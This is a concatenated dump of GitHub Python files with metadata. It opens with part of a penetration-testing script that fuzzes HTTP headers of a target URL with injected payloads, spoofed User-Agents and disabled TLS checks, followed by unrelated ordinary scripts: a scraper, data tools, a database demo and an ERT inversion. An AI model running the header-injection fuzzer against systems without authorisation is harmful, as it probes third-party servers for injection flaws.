True\r\n else:\r\n retval.isLenDifferent = False\r\n \r\n if headerPayload in str(resp_content):\r\n retval.isPayloadInBody = True\r\n else:\r\n retval.isPayloadInBody = False\r\n \r\n retval.status_code = str(resp.status_code)\r\n retval.contentLength = str(len(resp_content))\r\n return retval \r\n \r\ndef get_random_useragent():\r\n \"\"\"Returns a randomly chosen User-Agent string.\"\"\"\r\n win_edge = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246'\r\n win_firefox = 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/43.0'\r\n win_chrome = \"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36\"\r\n lin_firefox = 'Mozilla/5.0 (X11; Linux i686; rv:30.0) Gecko/20100101 Firefox/42.0'\r\n mac_chrome = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36'\r\n ie = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)'\r\n ua_dict = {\r\n 1: win_edge,\r\n 2: win_firefox,\r\n 3: win_chrome,\r\n 4: lin_firefox,\r\n 5: mac_chrome,\r\n 6: ie\r\n }\r\n rand_num = random.randrange(1, (len(ua_dict) + 1))\r\n return ua_dict[rand_num]\r\n\r\ndef headersList(filename):\r\n items = []\r\n with open(dir + filename, \"r\") as f:\r\n for line in f:\r\n items.append(line.rstrip('\\n'))\r\n return items\r\n\r\ndef injectHeaders(url, cookies):\r\n _headers = headersList(\"/headers.txt\")\r\n _loadedheaders = headersList(\"/headers-small.txt\")\r\n _payloads = headersList(\"/header-special.txt\")\r\n print(\"\\nPayload to be passed:\\n\" + headerPayload)\r\n ua = get_random_useragent()\r\n print(\"\\nUsing the User-Agent: \" +ua)\r\n\r\n with requests.Session() as s:\r\n s.proxies['http'] = _proxy\r\n s.proxies['https'] = _proxy\r\n \r\n print(\"\\nSend Initial Request - TODO use for comparison\\n\")\r\n resp = s.get(url, headers={'User-Agent': ua},cookies=cookies, verify=False)\r\n duration = str(resp.elapsed.total_seconds())\r\n baselineLen = len(resp.content)\r\n print(\"Baseline Request - Status: \" + str(resp.status_code) + \" - Content-Length: \" + str(baselineLen) + \"\\n\")\r\n print(\"\\nSend header key/value pair\\n\")\r\n for h in _loadedheaders:\r\n item = h.split(\":\",1)\r\n hdrs = {'User-Agent':ua, item[0].lstrip() : item[1].lstrip() }\r\n resp = s.get(url, cookies=cookies,headers=hdrs, verify=False)\r\n duration = str(resp.elapsed.total_seconds())\r\n result = process_response(resp, baselineLen)\r\n print(h + \": Status: \" + result.status_code + \" - Content-Length: \" + (\"\",\"*\")[result.isLenDifferent] + result.contentLength + \" - Duration: \"+ duration + \"\\r\")\r\n for p in _payloads:\r\n hdrs = {'User-Agent':ua, item[0].lstrip() : item[1].lstrip() + p }\r\n resp = s.get(url, cookies=cookies,headers=hdrs, verify=False)\r\n duration = str(resp.elapsed.total_seconds())\r\n result = process_response(resp, baselineLen)\r\n print(h + p + \": Status: \" + result.status_code + \" - Content-Length: \" + (\"\",\"*\")[result.isLenDifferent] + result.contentLength + \" - Duration: \"+ duration + \"\\r\")\r\n \r\n print(\"\\nSend 1 header in each request.\\n\")\r\n for h in _headers:\r\n hdrs = {'User-Agent':ua, h : headerPayload }\r\n resp = s.get(url, cookies=cookies,headers=hdrs, verify=False)\r\n result = process_response(resp, baselineLen)\r\n duration = str(resp.elapsed.total_seconds())\r\n print(h + \": Status: \" + result.status_code + \" - Content-Length: \" + (\"\",\"*\")[result.isLenDifferent] + result.contentLength + \" - Contains Payload: \" + str(result.isPayloadInBody) + \" - Duration: \"+ duration + \"\\r\")\r\n \r\n print(\"\\nSend 1 massive request\\n\")\r\n allheaders = {}\r\n\r\n for h in _headers: \r\n _s = h.lower()\r\n if _s == \"host\":\r\n print(\"Ignoring host header\")\r\n elif _s == \"content-length\":\r\n print(\"Ignorning content-length header\")\r\n else:\r\n allheaders[h]=headerPayload\r\n \r\n resp = s.get(url, cookies=cookies, headers=allheaders, verify=False)\r\n result = process_response(resp, baselineLen)\r\n print(\"All Header Request - Status: \" + result.status_code + \" - Content-Length: \" + result.contentLength + \" - Contains Payload: \" + str(result.isPayloadInBody) + \" - Duration: \"+ duration + \"\\n\")\r\n\r\nif __name__ == '__main__':\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument(\"-pr\", \"--proxy\", \r\n help=\"Specify a proxy to use (-p 127.0.0.1:8080)\")\r\n parser.add_argument(\"-u\", \"--url\",\r\n help=\"URL to attack\")\r\n parser.add_argument(\"-c\", \"--cookies\",\r\n help=\"Pass cookies to use\")\r\n parser.add_argument(\"-p\", \"--payload\",\r\n help=\"Use your own payload instead of the default\")\r\n args = parser.parse_args()\r\n cookies=''\r\n if not args.url:\r\n parser.print_help()\r\n print(\"\\n[-] Please specify a URL (-u) \\n\")\r\n exit()\r\n else:\r\n url = args.url\r\n if args.cookies:\r\n cookie = SimpleCookie()\r\n cookie.load(args.cookies)\r\n cookies = {}\r\n for key, morsel in cookie.items():\r\n cookies[key] = morsel.value\r\n\r\n if args.payload:\r\n headerPayload = args.payload\r\n if args.proxy:\r\n _proxy = args.proxy\r\ninjectHeaders(url,cookies)","repo_name":"awillard1/Pen-Test-Tools","sub_path":"python/header-injector.py","file_name":"header-injector.py","file_ext":"py","file_size_in_byte":7997,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"30"} +{"seq_id":"20698116805","text":"# 7. Write a Python program to check a given list of integers where the sum of the first i integers is i.\n# Input: [0, 1, 2, 3, 4, 5]\n# Output:\n# False\n# Input: [1, 1, 1, 1, 1, 1]\n# Output:\n# True\n# Input:[2, 2, 2, 2, 2]\n# Output:\n# False\n\ndef sumofi(l):\n le = len(l)\n sum = 0\n for i in l:\n sum = sum + i\n if sum == le:\n return True\n else:\n return False\n \nif __name__ == \"__main__\":\n l1 = [0, 1, 2, 3, 4, 5]\n l2 = [1, 1, 1, 1, 1, 1]\n l3 = [2, 2, 2, 2, 2]\n\n print(sumofi(l1))\n print(sumofi(l2))\n print(sumofi(l3))\n \n","repo_name":"v-t-9/PythonPuzzles","sub_path":"ex7.py","file_name":"ex7.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"42606130550","text":"import pandas as pd\r\nimport json\r\n# geo\r\nfrom geopy.geocoders import Nominatim\r\ngeolocator = Nominatim(user_agent='kawara_project')\r\n\r\n# open csv\r\ndef openCSV(csv):\r\n return pd.read_csv(csv, encoding='utf-8')\r\n\r\n# get location with folium and save as json\r\ndef createLocationJson(table):\r\n cities = table['location/_type=\"creation Location\"'].tolist()\r\n coordinates = {} #besser als json speichern -> abfrage json ja sonst dic erweiterm -> json überschreiben\r\n for city in cities:\r\n try: \r\n location = geolocator.geocode(city)\r\n coordinates[city] = [location.latitude, location.longitude]\r\n except AttributeError:\r\n coordinates[city] = []\r\n\r\n # convert to json and save\r\n with open('data/location.json', 'w', encoding='utf-8') as fp:\r\n json.dump(coordinates, fp, ensure_ascii=False, indent=4)\r\n \r\n return None\r\n\r\n# check if city is already in json\r\ndef checkLocation(table):\r\n with open('data/location.json', encoding='utf-8') as fh:\r\n json_file = json.load(fh)\r\n\r\n cities = table['location/_type=\"creation Location\"'].tolist()\r\n\r\n for city in cities:\r\n if not city in json_file.keys():\r\n return False\r\n return True\r\n\r\n# save location as dict or update json\r\ndef getLocation():\r\n table = openCSV('./data/on_kawara_data.csv')\r\n check_cities = checkLocation(table)\r\n if not check_cities:\r\n createLocationJson(table)\r\n with open('data/location.json', encoding='utf-8') as fh:\r\n coordinates = json.load(fh) # dictionary\r\n fh.close()\r\n return coordinates\r\n\r\n","repo_name":"Lutherbibel/onKawaraMapping","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"33428622507","text":"# -*- coding: UTF-8 -*-\n\nimport cv2\nfrom mask_detect import MaskPred\n\n# The MaskPred class implements the function of face mask detection,\n# including face detection and face mask classification\nmp = MaskPred(True ,True, 0)\n# Turn on the first camera, 0 means device ID\ncap = cv2.VideoCapture(0)\ncv2.namedWindow('Mask Detect')\n\nwhile True:\n ret, frame = cap.read()\n if cv2.waitKey(10) == ord(\"q\"):\n break\n result = mp.run(frame)\n cv2.imshow(\"image\", result['img'])\n\n \n","repo_name":"PaddlePaddle/Paddle-Inference-Demo","sub_path":"python/mixed/mask_detection/cam_video.py","file_name":"cam_video.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","stars":216,"dataset":"github-code","pt":"30"} +{"seq_id":"16382649410","text":"from peewee import *\n\ndb = SqliteDatabase('students.db')\n\n\nclass Student(Model):\n # A model represents a single item in the database (singular class name)\n username = CharField(max_length=255, unique=True)\n points = IntegerField(default=0)\n\n # Setting the database to the varaible db.\n class Meta:\n database = db\n\nstudents = [\n {\n 'username': 'mikevaldez92',\n 'points': 5000\n },\n {\n 'username': 'awesomesauce12',\n 'points': 3004\n },\n {\n 'username': 'joytotheworld',\n 'points': 1500\n },\n {\n 'username': 'craigiscool',\n 'points': 2012\n },\n {\n 'username': 'dave63993',\n 'points': 4328\n }\n]\n\n\ndef add_students():\n for student in students:\n try:\n Student.create(username=student['username'], points=student['points'])\n except IntegrityError:\n student_record = Student.get(username=student['username'])\n student_record.points = student['points']\n student_record.save()\n\n\ndef top_student():\n # Get all the students, order them descending by points, and then get the first\n student = Student.select().order_by(Student.points.desc()).get()\n return student\n\nif __name__ == '__main__':\n db.connect()\n db.create_tables([Student], safe=True)\n add_students()\n # Get back the 0th record\n print('Our top student right now is {0.username}'.format(top_student()))\n","repo_name":"SirFreud/learn-python","sub_path":"db-py/students.py","file_name":"students.py","file_ext":"py","file_size_in_byte":1533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"21808271898","text":"import datetime\nfrom gnr.core.gnrbag import Bag\n\nclass Table(object):\n def config_db(self, pkg):\n '''sd: process batch\n\n batch of elaborations from schema to schema\n '''\n tbl = pkg.table('sd_process_batch', pkey = 'id', \n name_long = '!![it]Lotto elaborazioni',\n name_plural = '!![it]Lotti elaborazioni',\n caption_field = 'code_description')\n\n self.sysFields(tbl)\n\n tbl.column('code', dtype = 'A', size = ':22',\n unmodifiable = True, # can set code only on new record\n name_long = '!![it]Codice lotto',\n unique = True, validate_notnull = True)\n \n tbl.column('description', dtype = 'A', size = ':256', \n name_long = '!![it]Descrizione schema')\n\n tbl.formulaColumn('code_description', \n '\"(\"||$code||\") - \"||$description', name_long = '!![it]Lotti')\n \n tbl.column('notes', dtype = 'A', size = ':1024', \n name_long = '!![it]Note')\n\n tbl.column('date_ref_period', dtype = 'A', size = ':22',\n name_long = '!![it]Periodo di riferimento')\n\n def runBatch(self, batch_id = None):\n '''Run the process entries on specified schema'''\n if batch_id == None:\n print(\"No process batch to run\")\n \n # 1. get the batch from sd_process_batch, based on batch_id\n # 2. get the batch_entries from the batch\n # 3. loop on batch entries, get single sd_proces_entry\n # 4. get the destination schema from sd_process_entry\n # 5. verify that the destination is not protected\n # 5a. initialize destination if entry requires that\n # 6. make \"history/backup\" copy of destination schema \"before processing\"\n # 7. get the source schema from sd_process_entry\n # 8. get the ruleset_entry list for the current sd_process_entry\n # 9. loop on every rule of the ruleset\n # 10. apply the rule from source to destination\n # 10a. recalculate destination\n # 11. update destination schema record\n # 12. log activities and previous version schema\n # 13. update batch status\n\n status = ''\n\n # 1. get batch record to work on, in rsbag_batch\n # rsbag is recordset in bag form\n rsbag_batch = self.getBatchFromId(batch_id)\n\n # 2. get batch entries\n rs_batch_entries = self.getBatchEntriesList(batch_id)\n\n # 3. loop every entry for processing, IN ORDER!\n for batch_entry in rs_batch_entries:\n\n # 4. get destination schema from sd_process_entry\n rs_dst_store = self.getSchemaStore(batch_entry['dst_sd_data_registry__id'])\n dst_storeBag = rs_dst_store['storebag']\n status += '\\nprocessing ' + rs_dst_store['code']\n\n # 5. verify that destination is not protected\n # ***TO DO...***\n\n # 5a initialize destination if needed\n ruleset = self.getRuleset(batch_entry['sm_ruleset__id'])\n if (ruleset['initialize_destination'] == True):\n self.db.table('sm.sd_data_registry').initializeData(dst_storeBag)\n self.db.table('sm.sd_data_registry')\\\n .calcStoreBag(ruleset['dst_sm_model__id'], dst_storeBag)\n\n # 6. make a history copy of original storeBag before processing\n bkup_dst_storeBag = dst_storeBag.deepcopy()\n\n # 7. get source schema from sd_process_entry\n rs_src_store = self.getSchemaStore(batch_entry['src_sd_data_registry__id'])\n src_storeBag = rs_src_store['storebag']\n\n # 8. get ruleset enries list to apply, one by one, IN ORDER!\n rs_ruleset_entries = self.getRulesetEntriesList(batch_entry['sm_ruleset__id'])\n\n # 9. loop on every rule (ordered)\n for rule_entry in rs_ruleset_entries:\n #print('operazione', rule_entry['operation'])\n src_row = self.getModelRowById(rule_entry['src_sm_model_row__id'])\n src_col = self.getModelColById(rule_entry['src_sm_model_col__id'])\n dst_row = self.getModelRowById(rule_entry['dst_sm_model_row__id'])\n dst_col = self.getModelColById(rule_entry['dst_sm_model_col__id'])\n sr = src_row['code']\n sc = src_col['code']\n dr = dst_row['code']\n dc = dst_col['code']\n # print ('FROM: ', src_row['code'], '-', src_col['code'])\n # print (' TO: ', dst_row['code'], '-', dst_col['code'])\n\n # 10. apply the single rule\n #dst_storeBag[dr][dc] = src_storeBag[sr][sc]\n # if rule requires destination recalculation, then do it!\n if (rule_entry['recalculate_before'] == True):\n self.db.table('sm.sd_data_registry')\\\n .calcStoreBag(ruleset['dst_sm_model__id'], dst_storeBag)\n # proceed with the elaboration rule\n self.applySingleRule(rule_entry['operation'], \n src_storeBag, sr, sc,\n dst_storeBag, dr, dc,\n rs_src_store['id'], rs_dst_store['id'],\n rule_entry['formula']\n )\n \n # 10a. recalculate destination\n self.db.table('sm.sd_data_registry')\\\n .calcStoreBag(ruleset['dst_sm_model__id'], dst_storeBag)\n\n # 11. update destination schema\n self.updateDataRegistryStoreBag(rs_dst_store['id'], dst_storeBag)\n\n # 12. log processing for the destination schema\n self.logDestSchemaProcessing(rsbag_batch, rule_entry, \n rs_src_store, rs_dst_store,\n src_storeBag,\n bkup_dst_storeBag)\n \n # 13. update status\n status += '\\nprocessed.'\n # END OF runBatch()\n return status\n\n\n def getBatchFromId(self, batch_id):\n '''return the recordset with pk id=batch_id in bag form'''\n rs = self.db.table('sm.sd_process_batch').record(batch_id).output('bag')\n return rs\n\n def getBatchEntriesList(self, batch_id):\n '''returns the ordered list of entries for the given process_batch'''\n rs = self.db.table('sm.sd_process_entry').query(\n columns = '*',\n where = '$sd_process_batch__id = :selected_batch_id',\n order_by = 'position',\n selected_batch_id = batch_id,\n mode = 'bag'\n ).fetch()\n return rs\n\n def getRuleset(self, ruleset_id):\n '''returns the ruleset'''\n rs = self.db.table('sm.sm_ruleset').record(pkey = ruleset_id).output('bag')\n return rs\n\n def getRulesetEntriesList(self, ruleset_id):\n '''returns the ordered list of entries for the give ruleset'''\n rs = self.db.table('sm.sm_ruleset_entry').query(\n columns = '*',\n where = '$sm_ruleset__id = :selected_ruleset_id',\n order_by = 'position',\n selected_ruleset_id = ruleset_id,\n mode = 'bag'\n ).fetch()\n return rs\n\n def getSchemaStore(self, data_registry_id):\n '''return the record from schema registry'''\n rs = self.db.table('sm.sd_data_registry').record(data_registry_id).output('bag')\n return rs\n\n def getModelRowById(self, model_row_id):\n rs = self.db.table('sm.sm_model_row').record(model_row_id).output('bag')\n return rs\n\n def getModelColById(self, model_col_id):\n rs = self.db.table('sm.sm_model_col').record(model_col_id).output('bag')\n return rs\n\n def applySingleRule(self, operation = None, \n srcBag = None, sr = None, sc = None,\n dstBag = None, dr = None, dc = None,\n src_schema_id = None, dst_schema_id = None,\n formula = None\n ):\n '''formula and schema_id if needed to evaluate formula'''\n # find the value to write\n if operation == '100':\n # set value to 0\n # dstBag[dr][dc] = 0\n value = 0\n elif operation == '110':\n # set value\n # dstBag[dr][dc] = srcBag[sr][sc]\n value = srcBag[sr][sc]\n elif operation == '120':\n # set value to negative of source value\n # dstBag[dr][dc] = (srcBag[sr][sc] * -1)\n value = (srcBag[sr][sc] * -1)\n elif operation == '130':\n # sum\n # dstBag[dr][dc] = dstBag[dr][dc] + srcBag[sr][sc]\n value = dstBag[dr][dc] + srcBag[sr][sc]\n elif operation == '140':\n # subtraction\n # dstBag[dr][dc] = dstBag[dr][dc] - srcBag[sr][sc]\n value = dstBag[dr][dc] - srcBag[sr][sc]\n elif operation == 'f':\n # formula\n value = self.db.table('sm.sm_ruleset_entry').parseFormula(formula, \n src_schema_id, srcBag, sr, sc,\n dst_schema_id, dstBag, dr, dc\n )\n elif operation == 'py':\n # python\n value = 0\n else:\n value = 0\n # write the calculated value\n self.db.table('sm.sd_data_registry').setStoreBagCellValue(dstBag, dr, dc, value)\n\n def updateDataRegistryStoreBag(self, registry_id, storeBag):\n # update the storeBag\n with self.db.table('sm.sd_data_registry').recordToUpdate(registry_id) as record:\n record['storebag'] = storeBag\n record['status'] = 'PROCESSED'\n self.db.table('sm.sd_data_registry').calcStoreBag(record['sm_model__id'], record['storebag'])\n self.db.commit()\n return record\n\n def logDestSchemaProcessing(self, batch, rs_ruleset, \n src_recordset, dst_recordset, \n source_storebag, previous_storebag,\n **kwargs):\n record = self.newrecord()\n record['sd_data_registry__id'] = dst_recordset['id']\n record['date_elab'] = datetime.datetime.now()\n record['ruleset'] = 'todo'\n record['schema_source'] = src_recordset['code']\n record['current_user'] = 'unused'\n record['notes'] = 'process batch: ' + batch['code']\n record['source_storebag'] = source_storebag\n record['previous_storebag'] = previous_storebag\n self.db.table('sm.sd_data_registry_log').insert(record)\n self.db.commit()\n return","repo_name":"massimo-masson/contAbile","sub_path":"packages/sm/model/sd_process_batch.py","file_name":"sd_process_batch.py","file_ext":"py","file_size_in_byte":10847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"21615770125","text":"import scrapy\n\nfrom locations.hours import OpeningHours\nfrom locations.items import Feature\n\n\nclass VerveCoffeeRoastersSpider(scrapy.Spider):\n name = \"verve_coffee_roasters\"\n item_attributes = {\"brand\": \"Verve Coffee Roasters\"}\n allowed_domains = [\"www.vervecoffee.com\"]\n start_urls = [\n \"https://www.vervecoffee.com/pages/locations-all\",\n ]\n\n def parse_hours(self, hours):\n opening_hours = OpeningHours()\n\n days, store_hours = hours.split()\n open_time, close_time = store_hours.split(\"-\")\n for day in days.split(\",\"):\n opening_hours.add_range(day=day, open_time=open_time, close_time=close_time, time_format=\"%H:%M\")\n\n return opening_hours.as_opening_hours()\n\n def parse(self, response):\n stores = response.xpath('//section[@itemtype=\"http://schema.org/CafeOrCoffeeShop\"]')\n\n for store in stores:\n properties = {\n \"ref\": store.xpath('.//div[@class=\"info text-align--center\"]/a/text()').extract_first().strip(),\n \"name\": store.xpath('.//div[@class=\"info text-align--center\"]/a/text()').extract_first().strip(),\n \"addr_full\": store.xpath('normalize-space(.//span[@itemprop=\"streetAddress\"]//text())').extract_first(),\n \"city\": store.xpath('normalize-space(.//span[@itemprop=\"addressLocality\"]//text())').extract_first(),\n \"state\": store.xpath('normalize-space(.//span[@itemprop=\"addressRegion\"]//text())').extract_first(),\n \"postcode\": store.xpath('normalize-space(.//span[@itemprop=\"postalCode\"]//text())').extract_first(),\n \"phone\": store.xpath('normalize-space(.//a[@itemprop=\"telephone\"]//text())').extract_first(),\n }\n\n hours = store.xpath('.//meta[@itemprop=\"openingHours\"]/@content').extract_first()\n if hours:\n properties[\"opening_hours\"] = self.parse_hours(hours)\n\n yield Feature(**properties)\n","repo_name":"alltheplaces/alltheplaces","sub_path":"locations/spiders/verve_coffee_roasters.py","file_name":"verve_coffee_roasters.py","file_ext":"py","file_size_in_byte":1965,"program_lang":"python","lang":"en","doc_type":"code","stars":488,"dataset":"github-code","pt":"30"} +{"seq_id":"7446351144","text":"#!/usr/bin/env python\n\nimport datetime\nimport os\n\nimport numpy as np\n\nimport pygimli as pg\nimport pygimli.meshtools as mt\nimport pybert as pb\n\nfrom main.InversionConfiguration import InversionConfiguration\nimport util.worldUtil as wg\nimport util.schemeUtil as su\n\n# use inversion config\nconfig = InversionConfiguration(general_bert_verbose=True,\n general_folder_suffix='-tile5-full',\n world_x=200, world_z=100, world_resistivities=[100, 10], world_gen='incl',\n world_layers=[], world_angle=0,\n world_inclusion_start=[20, -10], world_inclusion_dim=[5, 5],\n world_tile_x=30, world_tile_z=5,\n world_electrode_offset=0,\n sim_mesh_quality=34, sim_mesh_maxarea=30, sim_noise_level=5, sim_noise_abs=1e-6,\n inv_lambda=10, inv_dx=4, inv_dz=4, inv_depth=50,\n inv_final_lambda=200, inv_final_dx=2, inv_final_dz=2, inv_final_depth=50,\n finv_max_iterations=1, finv_spacing=2, finv_base_configs=['slm'],\n finv_add_configs=['dd', 'wb', 'pp', 'pd', 'wa', 'hw', 'gr'],\n finv_gradient_weight=0, finv_addconfig_count=50, finv_li_threshold=0.85)\n\n# create folder\nstart_time = datetime.datetime.now()\nfolder = '../inversion_results/job-%d%d%d-%d.%d.%d-%s/' \\\n % (start_time.year,start_time.month,start_time.day,start_time.hour,start_time.minute,start_time.second,config.general_folder_suffix)\nos.makedirs(folder + 'tmp/')\n\n# create world\nif config.world_gen == 'lay':\n world = wg.generate_dipped_layered_world(\n [config.world_x, config.world_z], config.world_layers, config.world_angle)\n\n\nif config.world_gen == 'incl':\n world = wg.generate_hom_world_with_inclusion(\n [config.world_x, config.world_z],\n config.world_inclusion_start, config.world_inclusion_dim)\n\nif config.world_gen == 'tile':\n world = wg.generate_tiled_world(world_dim=[config.world_x, config.world_z],\n tile_size=[config.world_tile_x, config.world_tile_z])\n\n# create electrodes\nelectrode_count = np.ceil((config.world_x - 2 * config.world_electrode_offset) / config.finv_spacing) + 1\nelectrodes = pg.utils.grange(start=config.world_electrode_offset, end=config.world_x-config.world_electrode_offset,\n n=electrode_count)\n\n# create scheme\nschemes = ['wa', 'wb', 'pp', 'pd', 'dd', 'slm', 'hw', 'gr']\n\nelectrode_counts = [np.ceil((config.world_x - 2 * config.world_electrode_offset) / config.finv_spacing) + 1]\ncomp_electrodes = [pg.utils.grange(start=config.world_electrode_offset, end=config.world_x-config.world_electrode_offset, n=electrode_counts[0])]\nj = 0\nwhile np.floor((electrode_counts[j]-1)/2) == (electrode_counts[j]-1)/2:\n electrode_counts.append((electrode_counts[j]-1)/2+1)\n j = j + 1\n comp_electrodes.append(pg.utils.grange(start=config.world_electrode_offset, end=config.world_x-config.world_electrode_offset, n=electrode_counts[j]))\ncomp_scheme = pb.createData(elecs=comp_electrodes[0], schemeName=schemes[0])\nfor j in range(1,len(comp_electrodes)):\n scheme_tmp = pb.createData(elecs=comp_electrodes[j], schemeName=schemes[0])\n comp_scheme = su.merge_schemes(comp_scheme, scheme_tmp, folder + 'tmp/')\n\nfor i in range(1,len(schemes)):\n scheme_tmp = pb.createData(elecs=comp_electrodes[0], schemeName=schemes[i])\n for j in range(1, len(comp_electrodes)):\n scheme_tmp2 = pb.createData(elecs=comp_electrodes[j], schemeName=schemes[i])\n scheme_tmp = su.merge_schemes(scheme_tmp, scheme_tmp2, folder + 'tmp/')\n comp_scheme = su.merge_schemes(comp_scheme, scheme_tmp, folder + 'tmp/')\nscheme = comp_scheme\n\n# create mesh\nspacing = scheme.sensorPositions()[1][0] - scheme.sensorPositions()[0][0]\nfor pos in scheme.sensorPositions():\n world.createNode(pos)\n world.createNode(pos + pg.RVector3(0, -spacing / 2))\n\n# create mesh from world\nmesh = mt.createMesh(world, quality=config.sim_mesh_quality)\n\n# create inversion mesh\nsensor_distance = scheme.sensorPositions()[1][0] - scheme.sensorPositions()[0][0]\npara_dx = config.inv_final_dx / sensor_distance\npara_dz = config.inv_final_dz / sensor_distance\nn_layers = int(config.inv_depth/config.inv_final_dz)\ninv_mesh = mt.createParaMesh2DGrid(sensors=scheme.sensorPositions(), paraDX=para_dx, paraDZ=para_dz,\n paraDepth=config.inv_final_depth, nLayers=n_layers)\n\n# create res array\nres = []\ni = 1\nfor r in config.world_resistivities:\n res.append([i, r])\n i = i + 1\n\n# simulate\nert = pb.ERTManager()\nsyndata = ert.simulate(mesh, res=res, scheme=scheme,\n verbose=config.general_bert_verbose, noiseLevel=config.sim_noise_level,\n noiseAbs=config.sim_noise_abs)\nsyndata.markInvalid(syndata('rhoa') <= 0)\nsyndata.removeInvalid()\nsyndata.save(folder + 'syndata.dat')\n\n# invert\nert = pb.ERTManager()\ninv = ert.invert(syndata, mesh=inv_mesh,\n lam=config.inv_final_lambda, verbose=config.general_bert_verbose)\nert.saveResult(folder)\n","repo_name":"mariohopfner/ElectrodeOptimizationTool","sub_path":"test/simulateConventionalScheme.py","file_name":"simulateConventionalScheme.py","file_ext":"py","file_size_in_byte":5245,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"30"} +{"seq_id":"73743346323","text":"import math\nimport time\nimport numpy as np\n\nimport cv2\nfrom cvzone.HandTrackingModule import HandDetector\nfrom string import ascii_uppercase as alc\n\n# video feed\ncap = cv2.VideoCapture(0)\ndetector = HandDetector(maxHands=1)\n\noffset = 20\nimgSize = 300\ncounter = 0\nindex = 0\n\nwhile True:\n success,img = cap.read()\n hands, img = detector.findHands(img)\n\n # if hand detected on camera\n if hands:\n hand = hands[0]\n x,y,w,h = hand['bbox']\n\n imgWhite = np.ones((imgSize, imgSize,3), np.uint8)*255\n imgCrop = img[y - offset: y + h + offset, x - offset: x + w + offset]\n\n #size image and center\n aspectRatio = h/w\n if aspectRatio > 1:\n k = imgSize/h\n newWidth = math.ceil(k*w)\n imgResize = cv2.resize(imgCrop,(newWidth,imgSize))\n\n wGap = math.ceil((imgSize - newWidth)/2)\n\n imgWhite[:, wGap:wGap+newWidth] = imgResize\n else:\n k = imgSize/w\n newHeight = math.ceil(k*h)\n imgResize = cv2.resize(imgCrop,(imgSize,newHeight))\n\n hGap = math.ceil((imgSize - newHeight)/2)\n\n imgWhite[hGap:hGap+newHeight,:] = imgResize\n\n cv2.imshow(\"ImageCrop\", imgCrop)\n cv2.imshow(\"ImageWhite\", imgWhite)\n \n # change folder for data collection\n cv2.imshow(\"Image\", img)\n key = cv2.waitKey(1)\n if key == ord(\"n\"):\n folder = f\"Data/{alc[index]}\"\n print(\"Saving to \", folder)\n index+=1\n counter = 0\n\n #hit s to save image \n if key == ord(\"s\"):\n counter += 1\n cv2.imwrite(f'{folder}/Image_{time.time()}.jpg',imgWhite)\n print(counter)","repo_name":"nivey25/sign-language-detector","sub_path":"dataCollection.py","file_name":"dataCollection.py","file_ext":"py","file_size_in_byte":1659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"69801154325","text":"from rss_parser import Parser\nimport requests\nimport time\nfrom pprint import pprint\n\nFEED_URL = \"https://bpdnews.com/news?format=rss\"\nKEYWORD = 'journal'\n\n# CHANGE THESE SETTINGS AS YOU DOWNLOAD TO AVOID REDOWNLOADING OLD STUFF\n\nMIN_PAGE = 0\nMAX_PAGE = 100\nSLEEP_ON_RATELIMIT = 5\n\ndef get_filename(path):\n return path.split('/')[-1]\n\ndef download_and_save(url):\n response = requests.get(url, allow_redirects=True)\n print(url)\n if response.status_code == 429:\n print('got ratelimited')\n time.sleep(SLEEP_ON_RATELIMIT)\n return download_and_save(url)\n elif response.status_code != 200:\n print('unknown error:', response.status_code)\n with open('pdfs/'+get_filename(url), 'wb') as f:\n f.write(response.content)\n\n\ndef get_feed(page_number):\n url = f\"{FEED_URL}&page={page_number}\"\n print(url)\n response = requests.get(url)\n if response.status_code == 429:\n print('got ratelimited')\n time.sleep(SLEEP_ON_RATELIMIT)\n return get_feed(page_number)\n elif response.status_code != 200:\n print('unknown error:', response.status_code)\n parser = Parser(xml=response.content)\n return parser.parse()\n\n\nif __name__ == '__main__':\n file_list = open('files.tsv', 'a')\n\n for page in range(MIN_PAGE, MAX_PAGE):\n print(f'\\n---------\\npage: {page}\\n---------\\n')\n feed = get_feed(page)\n for item in feed.feed:\n if KEYWORD in item.title.lower():\n print(item.title, item.publish_date, *item.description_links, sep='\\t', file=file_list)\n for link in item.description_links:\n download_and_save(link)\n file_list.flush()\n\n file_list.close()","repo_name":"gabrc52/bpd-scraper","sub_path":"scrape_rss.py","file_name":"scrape_rss.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"73148665684","text":"import collections as cl\n\n\ndef rotate_seq1(seq1, n):\n \"\"\"\n :return: a rotated list\n \"\"\"\n k = len(seq1) - n\n return seq1[k:] + seq1[:k]\n\n\ndef rotate_seq2(seq2, n):\n \"\"\"\n deque, pop or append form head or tail, O(1)\n :return:\n \"\"\"\n d = cl.deque(seq2)\n d.rotate(n)\n return list(d)\n\n\nif __name__ == '__main__':\n print(rotate_seq1([1, 2, 3, 4, 5], 3))\n print(rotate_seq2([1, 2, 3, 4, 5], 